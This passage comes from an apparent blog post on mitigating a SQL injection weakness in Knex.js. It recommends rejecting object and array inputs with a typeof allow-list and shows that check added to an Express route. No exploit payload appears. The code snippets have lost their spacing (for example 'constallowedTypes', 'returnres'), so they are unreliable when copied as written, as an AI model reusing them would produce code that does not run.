   . JavaScript is a dynamically typed language, so users can manipulate the type of inputs .

So if you are either a maintainer of Knex.js or using the module in your project, **reject all inputs that will be inserted into a SQL query that are either an 
   Array
   or 
   Object
   type!**

For an example, you can use the JavaScript operator 
   typeof
   to reject any unexpected input types. The below code snippet is an example for only allowing numbers, strings and booleans ( **never allow 
   object**
   ).

constallowedTypes=[
"number",
"string",
"boolean"
]

if(!allowedTypes.includes(typeofuserInput)){
throw"Invalid type detected!"
}

For an example, I added the above allow list to 
  xark
  .

...
app.post('/data',async(req,res)=>{
if(req.body.to){
constallowedTypes=[
"number",
"string",
"boolean"
]

if(!allowedTypes.includes(typeofreq.body.to)){
returnres.status(400).send({
error:"Bugger off hacker!"
});
}

constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});
...

Now when I retry the SQLi exploit it gets rejected.

**Acknowledgements**

A huge thank you to Alok Menghrajani for bringing this vulnerability to my attention and TheThing for originally disclosing the vulnerability. Also thank you to sradley
   for investigating the impact of this vulnerability in other NodeJS packages that use Knex.js.

**I wish all of the Knex.js maintainers the best for finding a suitable patch for this vulnerability.**

Tag

#js